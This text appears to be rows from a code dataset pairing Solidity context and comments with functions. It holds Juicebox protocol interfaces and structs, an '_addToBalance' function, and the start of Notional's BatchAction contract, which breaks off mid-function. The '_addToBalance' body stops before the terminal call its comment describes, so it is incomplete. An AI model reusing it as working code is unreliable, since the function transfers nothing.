returns (uint256);
function prepForMigrationOf(uint256 _projectId, IJBController _from) external;
function migrate(uint256 _projectId, IJBController _to) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBPaymentTerminal.sol';
import './IJBProjects.sol';
import './IJBFundingCycleStore.sol';
import './IJBController.sol';
interface IJBDirectory {
event SetController(uint256 indexed projectId, IJBController indexed controller, address caller);
event AddTerminal(uint256 indexed projectId, IJBPaymentTerminal indexed terminal, address caller);
event SetTerminals(uint256 indexed projectId, IJBPaymentTerminal[] terminals, address caller);
event SetPrimaryTerminal(
uint256 indexed projectId,
address indexed token,
IJBPaymentTerminal indexed terminal,
address caller
);
event SetIsAllowedToSetFirstController(address indexed addr, bool indexed flag, address caller);
function projects() external view returns (IJBProjects);
function fundingCycleStore() external view returns (IJBFundingCycleStore);
function controllerOf(uint256 _projectId) external view returns (IJBController);
function isAllowedToSetFirstController(address _address) external view returns (bool);
function terminalsOf(uint256 _projectId) external view returns (IJBPaymentTerminal[] memory);
function isTerminalOf(uint256 _projectId, IJBPaymentTerminal _terminal)
external
view
returns (bool);
function primaryTerminalOf(uint256 _projectId, address _token)
external
view
returns (IJBPaymentTerminal);
function setControllerOf(uint256 _projectId, IJBController _controller) external;
function setTerminalsOf(uint256 _projectId, IJBPaymentTerminal[] calldata _terminals) external;
function setPrimaryTerminalOf(
uint256 _projectId,
address _token,
IJBPaymentTerminal _terminal
) external;
function setIsAllowedToSetFirstController(address _address, bool _flag) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBDirectory.sol';
import './IJBProjectPayer.sol';
interface IJBETHERC20ProjectPayerDeployer {
event DeployProjectPayer(
IJBProjectPayer indexed projectPayer,
uint256 defaultProjectId,
address defaultBeneficiary,
bool defaultPreferClaimedTokens,
string defaultMemo,
bytes defaultMetadata,
bool preferAddToBalance,
IJBDirectory directory,
address owner,
address caller
);
function deployProjectPayer(
uint256 _defaultProjectId,
address payable _defaultBeneficiary,
bool _defaultPreferClaimedTokens,
string memory _defaultMemo,
bytes memory _defaultMetadata,
bool _preferAddToBalance,
IJBDirectory _directory,
address _owner
) external returns (IJBProjectPayer projectPayer);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBFundingCycleStore.sol';
import './../enums/JBBallotState.sol';
interface IJBFundingCycleBallot {
function duration() external view returns (uint256);
function stateOf(
uint256 _projectId,
uint256 _configuration,
uint256 _start
) external view returns (JBBallotState);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBFundingCycleStore.sol';
import './IJBPayDelegate.sol';
import './IJBRedemptionDelegate.sol';
import './../structs/JBPayParamsData.sol';
import './../structs/JBRedeemParamsData.sol';
interface IJBFundingCycleDataSource {
function payParams(JBPayParamsData calldata _data)
external
view
returns (
uint256 weight,
string memory memo,
IJBPayDelegate delegate
);
function redeemParams(JBRedeemParamsData calldata _data)
external
view
returns (
uint256 reclaimAmount,
string memory memo,
IJBRedemptionDelegate delegate
);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBFundingCycleBallot.sol';
import './../enums/JBBallotState.sol';
import './../structs/JBFundingCycle.sol';
import './../structs/JBFundingCycleData.sol';
interface IJBFundingCycleStore {
event Configure(
uint256 indexed configuration,
uint256 indexed projectId,
JBFundingCycleData data,
uint256 metadata,
uint256 mustStartAtOrAfter,
address caller
);
event Init(uint256 indexed configuration, uint256 indexed projectId, uint256 indexed basedOn);
function latestConfigurationOf(uint256 _projectId) external view returns (uint256);
function get(uint256 _projectId, uint256 _configuration)
external
view
returns (JBFundingCycle memory);
function queuedOf(uint256 _projectId) external view returns (JBFundingCycle memory);
function currentOf(uint256 _projectId) external view returns (JBFundingCycle memory);
function currentBallotStateOf(uint256 _projectId) external view returns (JBBallotState);
function configureFor(
uint256 _projectId,
JBFundingCycleData calldata _data,
uint256 _metadata,
uint256 _mustStartAtOrAfter
) external returns (JBFundingCycle memory fundingCycle);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../structs/JBOperatorData.sol';
interface IJBOperatorStore {
event SetOperator(
address indexed operator,
address indexed account,
uint256 indexed domain,
uint256[] permissionIndexes,
uint256 packed
);
function permissionsOf(
address _operator,
address _account,
uint256 _domain
) external view returns (uint256);
function hasPermission(
address _operator,
address _account,
uint256 _domain,
uint256 _permissionIndex
) external view returns (bool);
function hasPermissions(
address _operator,
address _account,
uint256 _domain,
uint256[] calldata _permissionIndexes
) external view returns (bool);
function setOperator(JBOperatorData calldata _operatorData) external;
function setOperators(JBOperatorData[] calldata _operatorData) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../structs/JBDidPayData.sol';
interface IJBPayDelegate {
function didPay(JBDidPayData calldata _data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBDirectory.sol';
interface IJBPaymentTerminal {
function acceptsToken(address _token) external view returns (bool);
function currencyForToken(address _token) external view returns (uint256);
function decimalsForToken(address _token) external view returns (uint256);
// Return value must be a fixed point number with 18 decimals.
function currentEthOverflowOf(uint256 _projectId) external view returns (uint256);
function pay(
uint256 _projectId,
uint256 _amount,
address _token,
address _beneficiary,
uint256 _minReturnedTokens,
bool _preferClaimedTokens,
string calldata _memo,
bytes calldata _metadata
) external payable returns (uint256 beneficiaryTokenCount);
function addToBalanceOf(
uint256 _projectId,
uint256 _amount,
address _token,
string calldata _memo
) external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBDirectory.sol';
interface IJBProjectPayer {
event SetDefaultValues(
uint256 indexed projectId,
address indexed beneficiary,
bool preferClaimedTokens,
string memo,
bytes metadata,
bool preferAddToBalance,
address caller
);
function directory() external view returns (IJBDirectory);
function defaultProjectId() external view returns (uint256);
function defaultBeneficiary() external view returns (address payable);
function defaultPreferClaimedTokens() external view returns (bool);
function defaultMemo() external view returns (string memory);
function defaultMetadata() external view returns (bytes memory);
function defaultPreferAddToBalance() external view returns (bool);
function setDefaultValues(
uint256 _projectId,
address payable _beneficiary,
bool _preferClaimedTokens,
string memory _memo,
bytes memory _metadata,
bool _defaultPreferAddToBalance
) external;
function pay(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
address _beneficiary,
uint256 _minReturnedTokens,
bool _preferClaimedTokens,
string memory _memo,
bytes memory _metadata
) external payable;
function addToBalance(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
string memory _memo
) external payable;
receive() external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import './IJBPaymentTerminal.sol';
import './IJBTokenUriResolver.sol';
import './../structs/JBProjectMetadata.sol';
import './IJBTokenUriResolver.sol';
interface IJBProjects is IERC721 {
event Create(
uint256 indexed projectId,
address indexed owner,
JBProjectMetadata metadata,
address caller
);
event SetMetadata(uint256 indexed projectId, JBProjectMetadata metadata, address caller);
event SetTokenUriResolver(IJBTokenUriResolver resolver, address caller);
function count() external view returns (uint256);
function metadataContentOf(uint256 _projectId, uint256 _domain)
external
view
returns (string memory);
function tokenUriResolver() external view returns (IJBTokenUriResolver);
function createFor(address _owner, JBProjectMetadata calldata _metadata)
external
returns (uint256 projectId);
function setMetadataOf(uint256 _projectId, JBProjectMetadata calldata _metadata) external;
function setTokenUriResolver(IJBTokenUriResolver _newResolver) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBFundingCycleStore.sol';
import './../structs/JBDidRedeemData.sol';
interface IJBRedemptionDelegate {
function didRedeem(JBDidRedeemData calldata _data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import '../structs/JBSplitAllocationData.sol';
interface IJBSplitAllocator {
function allocate(JBSplitAllocationData calldata _data) external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBOperatorStore.sol';
import './IJBProjects.sol';
import './IJBDirectory.sol';
import './IJBSplitAllocator.sol';
import './../structs/JBSplit.sol';
interface IJBSplitsStore {
event SetSplit(
uint256 indexed projectId,
uint256 indexed domain,
uint256 indexed group,
JBSplit split,
address caller
);
function projects() external view returns (IJBProjects);
function directory() external view returns (IJBDirectory);
function splitsOf(
uint256 _projectId,
uint256 _domain,
uint256 _group
) external view returns (JBSplit[] memory);
function set(
uint256 _projectId,
uint256 _domain,
uint256 _group,
JBSplit[] memory _splits
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface IJBToken {
function decimals() external view returns (uint8);
function totalSupply(uint256 _projectId) external view returns (uint256);
function balanceOf(address _account, uint256 _projectId) external view returns (uint256);
function mint(
uint256 _projectId,
address _account,
uint256 _amount
) external;
function burn(
uint256 _projectId,
address _account,
uint256 _amount
) external;
function approve(
uint256,
address _spender,
uint256 _amount
) external;
function transfer(
uint256 _projectId,
address _to,
uint256 _amount
) external;
function transferFrom(
uint256 _projectId,
address _from,
address _to,
uint256 _amount
) external;
function transferOwnership(address _newOwner) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './IJBProjects.sol';
import './IJBToken.sol';
interface IJBTokenStore {
event Issue(
uint256 indexed projectId,
IJBToken indexed token,
string name,
string symbol,
address caller
);
event Mint(
address indexed holder,
uint256 indexed projectId,
uint256 amount,
bool tokensWereClaimed,
bool preferClaimedTokens,
address caller
);
event Burn(
address indexed holder,
uint256 indexed projectId,
uint256 amount,
uint256 initialUnclaimedBalance,
uint256 initialClaimedBalance,
bool preferClaimedTokens,
address caller
);
event Claim(
address indexed holder,
uint256 indexed projectId,
uint256 initialUnclaimedBalance,
uint256 amount,
address caller
);
event ShouldRequireClaim(uint256 indexed projectId, bool indexed flag, address caller);
event Change(
uint256 indexed projectId,
IJBToken indexed newToken,
IJBToken indexed oldToken,
address owner,
address caller
);
event Transfer(
address indexed holder,
uint256 indexed projectId,
address indexed recipient,
uint256 amount,
address caller
);
function tokenOf(uint256 _projectId) external view returns (IJBToken);
function projectOf(IJBToken _token) external view returns (uint256);
function projects() external view returns (IJBProjects);
function unclaimedBalanceOf(address _holder, uint256 _projectId) external view returns (uint256);
function unclaimedTotalSupplyOf(uint256 _projectId) external view returns (uint256);
function totalSupplyOf(uint256 _projectId) external view returns (uint256);
function balanceOf(address _holder, uint256 _projectId) external view returns (uint256 _result);
function requireClaimFor(uint256 _projectId) external view returns (bool);
function issueFor(
uint256 _projectId,
string calldata _name,
string calldata _symbol
) external returns (IJBToken token);
function changeFor(
uint256 _projectId,
IJBToken _token,
address _newOwner
) external returns (IJBToken oldToken);
function burnFrom(
address _holder,
uint256 _projectId,
uint256 _amount,
bool _preferClaimedTokens
) external;
function mintFor(
address _holder,
uint256 _projectId,
uint256 _amount,
bool _preferClaimedTokens
) external;
function shouldRequireClaimingFor(uint256 _projectId, bool _flag) external;
function claimFor(
address _holder,
uint256 _projectId,
uint256 _amount
) external;
function transferFrom(
address _holder,
uint256 _projectId,
address _recipient,
uint256 _amount
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
interface IJBTokenUriResolver {
function getUri(uint256 _projectId) external view returns (string memory tokenUri);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
library JBSplitsGroups {
uint256 public constant ETH_PAYOUT = 1;
uint256 public constant RESERVED_TOKENS = 2;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
library JBTokens {
/**
@notice
The ETH token address in Juicebox is represented by 0x000000000000000000000000000000000000EEEe.
*/
address public constant ETH = address(0x000000000000000000000000000000000000EEEe);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './JBTokenAmount.sol';
struct JBDidPayData {
// The address from which the payment originated.
address payer;
// The ID of the project for which the payment was made.
uint256 projectId;
// The amount of the payment. Includes the token being paid, the value, the number of decimals included, and the currency of the amount.
JBTokenAmount amount;
// The number of project tokens minted for the beneficiary.
uint256 projectTokenCount;
// The address to which the tokens were minted.
address beneficiary;
// The memo that is being emitted alongside the payment.
string memo;
// Metadata to send to the delegate.
bytes metadata;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './JBTokenAmount.sol';
struct JBDidRedeemData {
// The holder of the tokens being redeemed.
address holder;
// The project to which the redeemed tokens are associated.
uint256 projectId;
// The number of project tokens being redeemed.
uint256 projectTokenCount;
// The reclaimed amount. Includes the token being paid, the value, the number of decimals included, and the currency of the amount.
JBTokenAmount reclaimedAmount;
// The address to which the reclaimed amount will be sent.
address payable beneficiary;
// The memo that is being emitted alongside the redemption.
string memo;
// Metadata to send to the delegate.
bytes metadata;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBPaymentTerminal.sol';
struct JBFundAccessConstraints {
// The terminal within which the distribution limit and the overflow allowance applies.
IJBPaymentTerminal terminal;
// The token for which the fund access constraints apply.
address token;
// The amount of the distribution limit, as a fixed point number with the same number of decimals as the terminal within which the limit applies.
uint256 distributionLimit;
// The currency of the distribution limit.
uint256 distributionLimitCurrency;
// The amount of the allowance, as a fixed point number with the same number of decimals as the terminal within which the allowance applies.
uint256 overflowAllowance;
// The currency of the overflow allowance.
uint256 overflowAllowanceCurrency;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBFundingCycleBallot.sol';
struct JBFundingCycle {
// The funding cycle number for each project.
// Each funding cycle has a number that is an increment of the cycle that directly preceded it.
// Each project's first funding cycle has a number of 1.
uint256 number;
// The timestamp when the parameters for this funding cycle were configured.
// This value will stay the same for subsequent funding cycles that roll over from an originally configured cycle.
uint256 configuration;
// The `configuration` of the funding cycle that was active when this cycle was created.
uint256 basedOn;
// The timestamp marking the moment from which the funding cycle is considered active.
// It is a unix timestamp measured in seconds.
uint256 start;
// The number of seconds the funding cycle lasts for, after which a new funding cycle will start.
// A duration of 0 means that the funding cycle will stay active until the project owner explicitly issues a reconfiguration, at which point a new funding cycle will immediately start with the updated properties.
// If the duration is greater than 0, a project owner cannot make changes to a funding cycle's parameters while it is active – any proposed changes will apply to the subsequent cycle.
// If no changes are proposed, a funding cycle rolls over to another one with the same properties but new `start` timestamp and a discounted `weight`.
uint256 duration;
// A fixed point number with 18 decimals that contracts can use to base arbitrary calculations on.
// For example, payment terminals can use this to determine how many tokens should be minted when a payment is received.
uint256 weight;
// A percent by how much the `weight` of the subsequent funding cycle should be reduced, if the project owner hasn't configured the subsequent funding cycle with an explicit `weight`.
// If it's 0, each funding cycle will have equal weight.
// If the number is 90%, the next funding cycle will have a 10% smaller weight.
// This weight is out of `JBConstants.MAX_DISCOUNT_RATE`.
uint256 discountRate;
// An address of a contract that says whether a proposed reconfiguration should be accepted or rejected.
// It can be used to create rules around how a project owner can change funding cycle parameters over time.
IJBFundingCycleBallot ballot;
// Extra data that can be associated with a funding cycle.
uint256 metadata;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBFundingCycleBallot.sol';
struct JBFundingCycleData {
// The number of seconds the funding cycle lasts for, after which a new funding cycle will start.
// A duration of 0 means that the funding cycle will stay active until the project owner explicitly issues a reconfiguration, at which point a new funding cycle will immediately start with the updated properties.
// If the duration is greater than 0, a project owner cannot make changes to a funding cycle's parameters while it is active – any proposed changes will apply to the subsequent cycle.
// If no changes are proposed, a funding cycle rolls over to another one with the same properties but new `start` timestamp and a discounted `weight`.
uint256 duration;
// A fixed point number with 18 decimals that contracts can use to base arbitrary calculations on.
// For example, payment terminals can use this to determine how many tokens should be minted when a payment is received.
uint256 weight;
// A percent by how much the `weight` of the subsequent funding cycle should be reduced, if the project owner hasn't configured the subsequent funding cycle with an explicit `weight`.
// If it's 0, each funding cycle will have equal weight.
// If the number is 90%, the next funding cycle will have a 10% smaller weight.
// This weight is out of `JBConstants.MAX_DISCOUNT_RATE`.
uint256 discountRate;
// An address of a contract that says whether a proposed reconfiguration should be accepted or rejected.
// It can be used to create rules around how a project owner can change funding cycle parameters over time.
IJBFundingCycleBallot ballot;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBFundingCycleDataSource.sol';
struct JBFundingCycleMetadata {
// The reserved rate of the funding cycle. This number is a percentage calculated out of `JBConstants.MAX_RESERVED_RATE`.
uint256 reservedRate;
// The redemption rate of the funding cycle. This number is a percentage calculated out of `JBConstants.MAX_REDEMPTION_RATE`.
uint256 redemptionRate;
// The redemption rate to use during an active ballot of the funding cycle. This number is a percentage calculated out of `JBConstants.MAX_REDEMPTION_RATE`.
uint256 ballotRedemptionRate;
// If the pay functionality should be paused during the funding cycle.
bool pausePay;
// If the distribute functionality should be paused during the funding cycle.
bool pauseDistributions;
// If the redeem functionality should be paused during the funding cycle.
bool pauseRedeem;
// If the burn functionality should be paused during the funding cycle.
bool pauseBurn;
// If the mint functionality should be allowed during the funding cycle.
bool allowMinting;
// If changing tokens should be allowed during this funding cycle.
bool allowChangeToken;
// If migrating terminals should be allowed during this funding cycle.
bool allowTerminalMigration;
// If migrating controllers should be allowed during this funding cycle.
bool allowControllerMigration;
// If setting terminals should be allowed during this funding cycle.
bool allowSetTerminals;
// If setting a new controller should be allowed during this funding cycle.
bool allowSetController;
// If fees should be held during this funding cycle.
bool holdFees;
// If redemptions should use the project's balance held in all terminals instead of the project's local terminal balance from which the redemption is being fulfilled.
bool useTotalOverflowForRedemptions;
// If the data source should be used for pay transactions during this funding cycle.
bool useDataSourceForPay;
// If the data source should be used for redeem transactions during this funding cycle.
bool useDataSourceForRedeem;
// The data source to use during this funding cycle.
IJBFundingCycleDataSource dataSource;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './JBSplit.sol';
import '../libraries/JBSplitsGroups.sol';
struct JBGroupedSplits {
// The group indentifier.
uint256 group;
// The splits to associate with the group.
JBSplit[] splits;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
struct JBOperatorData {
// The address of the operator.
address operator;
// The domain within which the operator is being given permissions.
// A domain of 0 is a wildcard domain, which gives an operator access to all domains.
uint256 domain;
// The indexes of the permissions the operator is being given.
uint256[] permissionIndexes;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBPaymentTerminal.sol';
import './JBTokenAmount.sol';
struct JBPayParamsData {
// The terminal that is facilitating the payment.
IJBPaymentTerminal terminal;
// The address from which the payment originated.
address payer;
// The amount of the payment. Includes the token being paid, the value, the number of decimals included, and the currency of the amount.
JBTokenAmount amount;
// The ID of the project being paid.
uint256 projectId;
// The weight of the funding cycle during which the payment is being made.
uint256 weight;
// The reserved rate of the funding cycle during which the payment is being made.
uint256 reservedRate;
// The memo that was sent alongside the payment.
string memo;
// Arbitrary metadata provided by the payer.
bytes metadata;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
struct JBProjectMetadata {
// Metadata content.
string content;
// The domain within which the metadata applies.
uint256 domain;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBPaymentTerminal.sol';
struct JBRedeemParamsData {
// The terminal that is facilitating the redemption.
IJBPaymentTerminal terminal;
// The holder of the tokens being redeemed.
address holder;
// The ID of the project whos tokens are being redeemed.
uint256 projectId;
// The proposed number of tokens being redeemed, as a fixed point number with 18 decimals.
uint256 tokenCount;
// The total supply of tokens used in the calculation, as a fixed point number with 18 decimals.
uint256 totalSupply;
// The amount of overflow used in the reclaim amount calculation.
uint256 overflow;
// The number of decimals included in the reclaim amount fixed point number.
uint256 decimals;
// The currency that the reclaim amount is expected to be in terms of.
uint256 currency;
// The amount that should be reclaimed by the redeemer using the protocol's standard bonding curve redemption formula.
uint256 reclaimAmount;
// If overflow across all of a project's terminals is being used when making redemptions.
bool useTotalOverflow;
// The redemption rate of the funding cycle during which the redemption is being made.
uint256 redemptionRate;
// The ballot redemption rate of the funding cycle during which the redemption is being made.
uint256 ballotRedemptionRate;
// The proposed memo that is being emitted alongside the redemption.
string memo;
// Arbitrary metadata provided by the redeemer.
bytes metadata;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './../interfaces/IJBSplitAllocator.sol';
struct JBSplit {
// A flag that only has effect if a projectId is also specified, and the project has a token contract attached.
// If so, this flag indicates if the tokens that result from making a payment to the project should be delivered claimed into the beneficiary's wallet, or unclaimed to save gas.
bool preferClaimed;
// A flag indicating if a distribution to a project should prefer triggering it's addToBalance function instead of its pay function.
bool preferAddToBalance;
// The percent of the whole group that this split occupies. This number is out of `JBConstants.SPLITS_TOTAL_PERCENT`.
uint256 percent;
// If an allocator is not set but a projectId is set, funds will be sent to the protocol treasury belonging to the project who's ID is specified.
// Resulting tokens will be routed to the beneficiary with the claimed token preference respected.
uint256 projectId;
// The role the of the beneficary depends on whether or not projectId is specified, and whether or not an allocator is specified.
// If allocator is set, the beneficiary will be forwarded to the allocator for it to use.
// If allocator is not set but projectId is set, the beneficiary is the address to which the project's tokens will be sent that result from a payment to it.
// If neither allocator or projectId are set, the beneficiary is where the funds from the split will be sent.
address payable beneficiary;
// Specifies if the split should be unchangeable until the specified time, with the exception of extending the locked period.
uint256 lockedUntil;
// If an allocator is specified, funds will be sent to the allocator contract along with all properties of this split.
IJBSplitAllocator allocator;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import './JBSplit.sol';
import './JBTokenAmount.sol';
struct JBSplitAllocationData {
// The token being sent to the split allocator.
address token;
// The amount being sent to the split allocator, as a fixed point number.
uint256 amount;
// The number of decimals in the amount.
uint256 decimals;
// The project to which the split belongs.
uint256 projectId;
// The group to which the split belongs.
uint256 group;
// The split that caused the allocation.
JBSplit split;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
struct JBTokenAmount {
// The token the payment was made in.
address token;
// The amount of tokens that was paid, as a fixed point number.
uint256 value;
// The number of decimals included in the value fixed point number.
uint256 decimals;
// The expected currency of the value.
uint256 currency;
} | / Find the terminal for the specified project. There must be a terminal. The amount's decimals must match the terminal's expected decimals. Approve the `_amount` of tokens from the destination terminal to transfer tokens from this contract. If the token is ETH, send it in msg.value. Add to balance so tokens don't get issued. | function _addToBalance(
uint256 _projectId,
address _token,
uint256 _amount,
uint256 _decimals,
string memory _memo
) internal virtual {
IJBPaymentTerminal _terminal = directory.primaryTerminalOf(_projectId, _token);
if (_terminal == IJBPaymentTerminal(address(0))) revert TERMINAL_NOT_FOUND();
if (_terminal.decimalsForToken(_token) != _decimals) revert INCORRECT_DECIMAL_AMOUNT();
if (_token != JBTokens.ETH) IERC20(_token).approve(address(_terminal), _amount);
uint256 _payableValue = _token == JBTokens.ETH ? _amount : 0;
}
| 11,709,654 |
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.0;
pragma abicoder v2;
import "./TradingAction.sol";
import "./ActionGuards.sol";
import "./nTokenMintAction.sol";
import "./nTokenRedeemAction.sol";
import "../SettleAssetsExternal.sol";
import "../FreeCollateralExternal.sol";
import "../../math/SafeInt256.sol";
import "../../global/StorageLayoutV1.sol";
import "../../internal/balances/BalanceHandler.sol";
import "../../internal/portfolio/PortfolioHandler.sol";
import "../../internal/AccountContextHandler.sol";
import "../../../interfaces/notional/NotionalCallback.sol";
contract BatchAction is StorageLayoutV1, ActionGuards {
using BalanceHandler for BalanceState;
using PortfolioHandler for PortfolioState;
using AccountContextHandler for AccountContext;
using SafeInt256 for int256;
/// @notice Executes a batch of balance transfers including minting and redeeming nTokens.
/// @param account the account for the action
/// @param actions array of balance actions to take, must be sorted by currency id
/// @dev emit:CashBalanceChange, emit:nTokenSupplyChange
/// @dev auth:msg.sender auth:ERC1155
function batchBalanceAction(address account, BalanceAction[] calldata actions)
external
payable
nonReentrant
{
require(account == msg.sender || msg.sender == address(this), "Unauthorized");
requireValidAccount(account);
// Return any settle amounts here to reduce the number of storage writes to balances
AccountContext memory accountContext = _settleAccountIfRequired(account);
BalanceState memory balanceState;
for (uint256 i = 0; i < actions.length; i++) {
BalanceAction calldata action = actions[i];
// msg.value will only be used when currency id == 1, referencing ETH. The requirement
// to sort actions by increasing id enforces that msg.value will only be used once.
if (i > 0) {
require(action.currencyId > actions[i - 1].currencyId, "Unsorted actions");
}
// Loads the currencyId into balance state
balanceState.loadBalanceState(account, action.currencyId, accountContext);
_executeDepositAction(
account,
balanceState,
action.actionType,
action.depositActionAmount
);
_calculateWithdrawActionAndFinalize(
account,
accountContext,
balanceState,
action.withdrawAmountInternalPrecision,
action.withdrawEntireCashBalance,
action.redeemToUnderlying
);
}
_finalizeAccountContext(account, accountContext);
}
/// @notice Executes a batch of balance transfers and trading actions
/// @param account the account for the action
/// @param actions array of balance actions with trades to take, must be sorted by currency id
/// @dev emit:CashBalanceChange, emit:nTokenSupplyChange, emit:LendBorrowTrade, emit:AddRemoveLiquidity,
/// @dev emit:SettledCashDebt, emit:nTokenResidualPurchase, emit:ReserveFeeAccrued
/// @dev auth:msg.sender auth:ERC1155
function batchBalanceAndTradeAction(address account, BalanceActionWithTrades[] calldata actions)
external
payable
nonReentrant
{
require(account == msg.sender || msg.sender == address(this), "Unauthorized");
requireValidAccount(account);
AccountContext memory accountContext = _batchBalanceAndTradeAction(account, actions);
_finalizeAccountContext(account, accountContext);
}
/// @notice Executes a batch of balance transfers and trading actions via an authorized callback contract. This
/// can be used as a "flash loan" facility for special contracts that migrate assets between protocols or perform
/// other actions on behalf of the user.
/// Contracts can borrow from Notional and receive a callback prior to an FC check, this can be useful if the contract
/// needs to perform a trade or repay a debt on a different protocol before depositing collateral. Since Notional's AMM
/// will never be as capital efficient or gas efficient as other flash loan facilities, this method requires whitelisting
/// and will mainly be used for contracts that make migrating assets a better user experience.
/// @param account the account that will take all the actions
/// @param actions array of balance actions with trades to take, must be sorted by currency id
/// @param callbackData arbitrary bytes to be passed backed to the caller in the callback
/// @dev emit:CashBalanceChange, emit:nTokenSupplyChange, emit:LendBorrowTrade, emit:AddRemoveLiquidity,
/// @dev emit:SettledCashDebt, emit:nTokenResidualPurchase, emit:ReserveFeeAccrued
/// @dev auth:authorizedCallbackContract
function batchBalanceAndTradeActionWithCallback(
address account,
BalanceActionWithTrades[] calldata actions,
bytes calldata callbackData
) external payable {
// NOTE: Re-entrancy is allowed for authorized callback functions.
require(authorizedCallbackContract[msg.sender], "Unauthorized");
requireValidAccount(account);
AccountContext memory accountContext = _batchBalanceAndTradeAction(account, actions);
accountContext.setAccountContext(account);
// Be sure to set the account context before initiating the callback, all stateful updates
// have been finalized at this point so we are safe to issue a callback. This callback may
// re-enter Notional safely to deposit or take other actions.
NotionalCallback(msg.sender).notionalCallback(msg.sender, account, callbackData);
if (accountContext.hasDebt != 0x00) {
// NOTE: this method may update the account context to turn off the hasDebt flag, this
// is ok because the worst case would be causing an extra free collateral check when it
// is not required. This check will be entered if the account hasDebt prior to the callback
// being triggered above, so it will happen regardless of what the callback function does.
FreeCollateralExternal.checkFreeCollateralAndRevert(account);
}
}
function _batchBalanceAndTradeAction(
address account,
BalanceActionWithTrades[] calldata actions
) internal returns (AccountContext memory) {
AccountContext memory accountContext = _settleAccountIfRequired(account);
BalanceState memory balanceState;
// NOTE: loading the portfolio state must happen after settle account to get the
// correct portfolio, it will have changed if the account is settled.
PortfolioState memory portfolioState = PortfolioHandler.buildPortfolioState(
account,
accountContext.assetArrayLength,
0
);
for (uint256 i = 0; i < actions.length; i++) {
BalanceActionWithTrades calldata action = actions[i];
// msg.value will only be used when currency id == 1, referencing ETH. The requirement
// to sort actions by increasing id enforces that msg.value will only be used once.
if (i > 0) {
require(action.currencyId > actions[i - 1].currencyId, "Unsorted actions");
}
// Loads the currencyId into balance state
balanceState.loadBalanceState(account, action.currencyId, accountContext);
// Does not revert on invalid action types here, they also have no effect.
_executeDepositAction(
account,
balanceState,
action.actionType,
action.depositActionAmount
);
if (action.trades.length > 0) {
int256 netCash;
if (accountContext.isBitmapEnabled()) {
require(
accountContext.bitmapCurrencyId == action.currencyId,
"Invalid trades for account"
);
bool didIncurDebt;
(netCash, didIncurDebt) = TradingAction.executeTradesBitmapBatch(
account,
accountContext.bitmapCurrencyId,
accountContext.nextSettleTime,
action.trades
);
if (didIncurDebt) {
accountContext.hasDebt = Constants.HAS_ASSET_DEBT | accountContext.hasDebt;
}
} else {
// NOTE: we return portfolio state here instead of setting it inside executeTradesArrayBatch
// because we want to only write to storage once after all trades are completed
(portfolioState, netCash) = TradingAction.executeTradesArrayBatch(
account,
action.currencyId,
portfolioState,
action.trades
);
}
// If the account owes cash after trading, ensure that it has enough
if (netCash < 0) _checkSufficientCash(balanceState, netCash.neg());
balanceState.netCashChange = balanceState.netCashChange.add(netCash);
}
_calculateWithdrawActionAndFinalize(
account,
accountContext,
balanceState,
action.withdrawAmountInternalPrecision,
action.withdrawEntireCashBalance,
action.redeemToUnderlying
);
}
// Update the portfolio state if bitmap is not enabled. If bitmap is already enabled
// then all the assets have already been updated in in storage.
if (!accountContext.isBitmapEnabled()) {
// NOTE: account context is updated in memory inside this method call.
accountContext.storeAssetsAndUpdateContext(account, portfolioState, false);
}
// NOTE: free collateral and account context will be set outside of this method call.
return accountContext;
}
/// @dev Executes deposits
function _executeDepositAction(
address account,
BalanceState memory balanceState,
DepositActionType depositType,
uint256 depositActionAmount_
) private {
int256 depositActionAmount = SafeInt256.toInt(depositActionAmount_);
int256 assetInternalAmount;
require(depositActionAmount >= 0);
if (depositType == DepositActionType.None) {
return;
} else if (
depositType == DepositActionType.DepositAsset ||
depositType == DepositActionType.DepositAssetAndMintNToken
) {
// NOTE: this deposit will NOT revert on a failed transfer unless there is a
// transfer fee. The actual transfer will take effect later in balanceState.finalize
assetInternalAmount = balanceState.depositAssetToken(
account,
depositActionAmount,
false // no force transfer
);
} else if (
depositType == DepositActionType.DepositUnderlying ||
